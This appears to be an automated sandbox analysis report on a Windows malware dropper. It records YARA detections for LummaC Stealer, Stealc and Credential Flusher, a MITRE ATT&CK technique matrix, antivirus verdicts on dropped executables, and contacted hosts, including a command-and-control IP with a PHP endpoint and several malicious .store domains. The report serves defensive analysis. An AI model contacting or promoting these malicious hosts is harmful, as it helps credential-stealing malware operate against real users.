Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR

Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Directory queried: number of queries: 1911

Source: Yara match	File source: 00000019.00000003.3173096686.0000000001663000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2976096899.0000000001196000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2975895434.0000000001196000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2833491682.000000000133A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2998374022.0000000001195000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2113351077.0000000006126000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2938184062.0000000001195000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2959630451.0000000001195000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3004771907.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2998226532.0000000001190000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c1b0009d40.exe PID: 7060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c1b0009d40.exe PID: 6308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c1b0009d40.exe PID: 6552, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 1dc3787ee3.exe PID: 3568, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c1b0009d40.exe PID: 6308, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 10.2.7a5878ed96.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.7a5878ed96.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.num.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.num.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.3175826524.00000000011FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2870739086.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2913077883.000000000104E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000000.3018415386.0000000000191000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3079747725.0000000005000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3041700292.00000000010EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3169928437.00000000005C1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2911715801.00000000005C1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3033467651.0000000000191000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3033601352.00000000001AE000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000000.3018510412.00000000001AE000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7a5878ed96.exe PID: 2220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 5704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7a5878ed96.exe PID: 5144, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	22 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\EGCHWF62L351BCP5BKZSSW.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\E7HQ3XMUO6VYIDJ3F2DE2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EGCHWF62L351BCP5BKZSSW.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002711001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002711001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://www.leboncoin.fr/	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
http://exslt.org/sets	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
http://a9.com/-/spec/opensearch/1.0/	0%	URL Reputation	safe
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://monitor.firefox.com/user/dashboard	0%	URL Reputation	safe
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
https://www.openh264.org/	0%	URL Reputation	safe
https://coverage.mozilla.org	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
http://a9.com/-/spec/opensearch/1.1/	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://blocked.cdn.mozilla.net/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
star-mini.c10r.facebook.com	157.240.252.35	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
twitter.com	104.244.42.129	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
dyna.wikimedia.org	185.15.59.224	true	false	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	142.250.185.206	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
youtube-ui.l.google.com	216.58.212.142	true	false	unknown
reddit.map.fastly.net	151.101.1.140	true	false	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
ipv4only.arpa	192.0.0.171	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
push.services.mozilla.com	34.107.243.93	true	false	unknown
necklacedmny.store	188.114.96.3	true	true	unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	unknown
www.reddit.com	unknown	unknown	false	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
presticitpo.store	unknown	unknown	true	unknown
support.mozilla.org	unknown	unknown	false	unknown
firefox.settings.services.mozilla.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown
fadehairucw.store	unknown	unknown	true	unknown
www.facebook.com	unknown	unknown	false	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
thumbystriw.store	unknown	unknown	true	unknown
shavar.services.mozilla.com	unknown	unknown	false	unknown
crisiwarny.store	unknown	unknown	true	unknown
www.wikipedia.org	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
founpiuer.store	true	unknown
presticitpo.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2114591297.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114812044.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114537427.000000000616B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820622416.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2821001734.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938700152.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2939218924.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3051345571.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?extsrc=mailto&url=%sresource://gre/modules/PrivateBrowsingUtils.sys.mj	firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2114591297.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114812044.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114537427.000000000616B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820622416.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2821001734.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938700152.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2939218924.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3051345571.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 0000001E.00000002.3158958475.0000023D455C6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?extsrc=mailto&url=%sAttempted	firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.microsoft	file.exe, 00000000.00000003.2198672347.000000000167F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	firefox.exe, 0000001A.00000002.3181290798.000002592F0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3161526093.0000021CD9AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D455E8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
